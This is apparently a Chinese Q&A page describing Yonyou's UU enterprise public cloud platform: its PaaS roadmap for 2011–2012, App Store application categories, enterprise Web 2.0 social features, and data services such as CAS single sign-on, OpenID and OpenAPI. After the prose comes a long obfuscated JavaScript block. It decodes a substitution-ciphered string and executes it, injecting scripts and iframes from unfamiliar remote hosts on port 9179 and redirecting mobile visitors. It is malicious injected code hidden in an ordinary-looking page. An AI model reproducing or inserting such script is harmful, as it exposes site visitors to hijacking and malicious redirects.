推荐回答(1个)
UU企业公有云平台将以市场需求为导向,基于云计算技术建立一个开放式、社会化、支持大规模应用的企业云服务平台,为广大中小企业提供基于云服务的企业商务社区SNS和集成企业电子商务服务云、企业在线管理云、其它第三方ISV应用的App Store,以创新的生态合作模式整合产业链上下游资源,共同向中小企业用户提供安全、可靠、有效、丰富的应用及信息服务。
UU企业公有云平台主要建设内容包括:PaaS、UU App Store 、社会化网络社区(SNS)和公共数据服务(BDS)。 作为用友UU平台的具体运营商,用友集团PAAS中心已经制定了PaaS的产品路标计划。在2011年将实现PaaS1.x版本,实现集中资源池管理、稳定可靠的策略化弹性计算、自动故障恢复和系统性能监控、SaaS计费能力、开放订单支付能力等关键特性,并支持通讯平台、消息平台资源开放;在2012年1月到6月将实现PaaS2.x版本,实现并行计算、分布式计算、分布式存储等高性能服务支持,支持面向基础设施的资源计费模式和能力开放,并新建LBS 等1~2项平台级服务资源;将在2012年7到12月将PaaS平台升级为3.x版本,运行平台提供按分级标准服务的能力,提供自动化的恶意代码监测机制,并根据实际业务发展的需求发展1~2项平台级服务资源。
UU公有云平台的PaaS是一个基于云计算技术建立的IT资源池和云服务运营支撑平台。第三方软件开发商可在此平台上快速部署互联网应用产品并向最终用户开展服务;最终客户则可以在此平台上按需得到丰富的、安全的、高可靠性的应用服务。
PaaS为软件开发商提供应用开发所需的公共服务资源,如消息、通讯、支付服务及建立在互联网上的集成测试环境,以便支持第三方软件开发商能够高效开发出新产品,并快速地加入用友的服务云中。
UU平台支持客户自建云服务,客户可在UU平台上设计、运行自身所需的云服务,并且可以通过和UU平台联合运营的方式,将服务对外发布,和平台共同赢利。 UU App Store 是基于云计算技术和商务社区的基础服务,向广大中小企业提供云应用、云服务产品及相关营销、咨询、支持的的核心载体,也是未来发展的重点。
UU App Store将以中小企业的信息化需求为目标,依托用友在管理软件方面的优势力量,通过自行研发、联合研发、委托研发、产品接入等方式,在企业管理应用、电子商务、全员协同、客户交互、社会化营销等方面发展一批适合网络化、在线应用的新型应用产品,并以按需使用、在线交付的新模式,向全国范围内的中小企业用户提供丰富的云应用、云服务产品。
UU App Store将基于一套开放的应用接入管理机制和接口规范进行云应用、服务产品的集中开发、接入、发布、管理、营销、交付及服务。
UU App Store将在整合原已在用友集团下属SaaS服务平台“伟库网”运行的数十种云应用的基础上,逐年发展更多企业管理、商务云应用,主要内容包括:
1)在线财务类:标准会计核算软件的在线版,包括总账、报表、工资管理、存货核算、固定资产管理、往来管理、现金收支管理、成本管理、财务分析等在线应用。
2)在线报税服务:包括所得税汇算清缴、增值税营业税申报、在线发票查询、税收法规在线查询等服务。
3)业务管理类服务:包括采购管理、库存管理、销售与订单管理、分销管理、供应链管理等在线服务。
4)客户关系管理类服务:包括营销活动管理、销售过程管理、客户关怀、销售合同管理、服务管理、知识与文档管理、商旅等在线应用。
5)业务协同类服务:包括经销商与核心供应商的订货协同,供应商与核心厂家的协同、代账公司与代账企业的协同、企业内部的协同办公、商旅服务等。
6)人力资源管理:帮助中小企业实现人事档案、薪资、招聘、在线培训、考核等工作的高效管理。
7)政府申报类服务:包括劳动合同在线申报、食品药品在线监管等。
8)电子商务类:包括为中小企业电子商务业务量身定制的推广、交易、管理、协同、支付类云应用产品。
9)扩展增值服务:自有云应用中可轻松对接金融、通信类增值服务。金融类服务包括集成第三方支付,支持银企互联,通信类服务有短信群发、网络传真、电话会议、视频会议等。
除以上已有云应用产品外,用友公司认为企业级社会化商务应用是Web 2.0 技术及应用与企业业务流程及信息化系统的战略整合,能为企业提供快速灵活的信息分享与集成、沟通协作、社区交互及知识管理的社会化信息系统。企业级社会化商务应用能够广泛应用于企业内部、企业与合作伙伴及企业与客户之间的沟通和协作,相对传统 ERP 和 CRM 以企业内部信息处理流程为核心,Web 2.0应用的核心是企业内外部的人,它具体关注每一个企业内部员工、每一位客户及每一位合作伙伴。基于云计算商业运营平台,企业级的web2.0将会得到深入应用,如企业级搜索、即时通信、论坛博客、知识管理等,并与应用系统有效整合,跨部门或者组织边界的虚拟团队在组织运作中发挥重要作用,带来管理上的巨大革新。
用友将以Web 2.0技术为基础,通过自主研发、联合研发、外部合作等方式,基于商务社区的基础服务发展新型的社会化电子商务、全员沟通、客户互动、商务协同、知识管理等系列的交互式新型应用。
在提供标准云应用、云服务的基础上,App Store将面向重点客户的个性化需求提供解决方案级的服务,重点帮助企业解决个性化应用、数据集成、应用互操作、私有云系统托管等问题。 企业级Web 2.0包括个人创造、社区交互、广泛协作、数据分享和数据聚合多种用途的应用,其中最为广泛的技术是博客、维客、播客、视频分享、信息标记等。Web 2.0 应用最大的特色就是其社会化特质,它需要用户高度参与、广泛互动才能发挥其应有的效用。
企业级Web 2.0的核心是将用户(包括企业内部员工、客户及合作伙伴)与信息化系统(包括企业内部信息化系统与外部网络服务)有机联系起来。
通过社会化网络(包括博客、社交网络、统一通信等)把企业内部员工、客户以及合作伙伴紧密的连接起来,在三者之间形成了一个广泛的商务社区网络,提高了企业内外部的协作效率。商务社区的作用主要体现在五个方面:通过Web 2.0社区与客户建立紧密的联系,增加销售机会;利用Web 2.0技术为客户提供更加优质的服务,大幅提升客户满意度;通过Web 2.0技术提高研发人员的工作效率,提升企业的创新能力;通过Web 2.0技术创新商业模式;通过Web 2.0技术提高IT系统灵活性,提高IT部门对于业务部门的支持力度。
以云计算为代表的技术支撑平台,能够有效提升企业的应用服务能力。分布式的服务器集群,能提供强劲的企业级计算与存储能力,保证应用程序的良好性能,并具有良好的容错性与稳定性,能够动态适应服务需求的变化。
总体来看,企业级Web 2.0对于企业的帮助不仅可以具体体现在业务效益上,如更具创新性的产品和服务、更高的收入、更低的业务成本等,而且在更高的客户满意度、更有效的知识管理、更高的员工忠诚度等企业核心竞争力打造上具有积极的作用。 用友基于PaaS平台核心的开发、运行、安全、运营服务之上,还提供了公共数据服务层,实现对身份设别、SNS网状关系、行为数据、交易数据、产品目录、机构名录、LBS等的管理与服务。
针对公共数据服务所采用的技术具有非常强的先进性的。根据体系架构的要求,平台着重实现的关键技术包括:
SNS基础服务
通过整合平台上构建的各种不同的SNS公共服务和其他公共服务,更多的各种第三方应用能够接入到应用中心来。为了构建SNS业务支撑机制,需要各种基础服务和技术来保障。
CAS的单点登录技术
单点登录(Single Sign On , 简称 SSO )是目前比较流行的服务于企业业务整合的解决方案之一, SSO 使得在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统。CAS(Central Authentication Service)是一款不错的针对 Web 应用的单点登录框架。平台通过CAS SSO实现单点登录。
OpenID开放数据
平台会以类似于OpenID的形式发布一些用户数据,便于第三方集成应用。
用友OpenID 是一个去中心化的网上身份认证系统。用户不需要记住像用户名和密码这样的传统验证标记。任何网站都可以使用OpenID来作为用户登录的一种方式,任何网站也都可以作为OpenID身份提供者。OpenID既解决了问题而又不需要依赖于中心性的网站来确认数字身份。
OpenAPI
尽管传统的关系数据库较好地实现了数据的结构化存储,但在Web 2.0 时代的开放式业务环境中,数据必须具备更好的流动性,以同企业流程深入融合。用友Open API 将成为数据开放的标准化接口,企业内部的业务模块、混搭应用,或搜索等外部应用,都将基于开放API 实现对数据的操作。
云数据管理
用友云数据管理是指高负荷运行环境下的海量数据管理技术,其目标是提供具有海量数据容纳能力,各种类型(结构化,非结构化,半结构化)数据的自适应存储引擎支持,高可用性,垂直/水平可扩展以及低成本特性的云计算数据管理平台。
虚拟化方案:把应用、数据库以及载体操作系统开发成一个可视化的配置模板,在该虚拟化模板中,可以有针对性的对操作系统、应用服务、数据库等参数做默认的设置,比如安全、各种协议的预配置,以便快速搭建云平台中相应的业务系统;
负载均衡技术:为了能够使平台动态的调度资源,并且使应用的节点形成集群向外提供服务,则需要研究负载均衡技术。
大规模应用数据请求分发处理:平台能够针对大规模应用数据处理提供方案。该方案能够降低大数据量引发的访问效率瓶颈。为了解决该问题,该平台将会使用以下方式处理大数据量的访问控制。其核心思想是在系统持久化时采用多数据源路由解决方案。该方案可以通过甄别不同访问用户的数据标记把该用户相关的数据存储到相应的数据库上,同时当该用户需要获取到自己的业务数据时,平台可以只访问到存储有该用户数据的数据库服务器上。这样就分流了请求,降低了数据库服务器的压力。
搜索引擎技术
为了提高大数据的数据查询以及对外提供数据服务,用友集成了先进的搜索引擎技术。为企业提供数据查询和数据服务,主要包括企业用户数据、商城中的商品数据、资讯信息等。
用户数据挖掘技术
平台在运营的过程中,数据会越来越多,如何更好地分析数据,更好地为挖掘这些数据,这点是非常重要的。平台主要采用用友自主研发的数据挖掘技术提供数据分析,生成相应的数据报表等。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();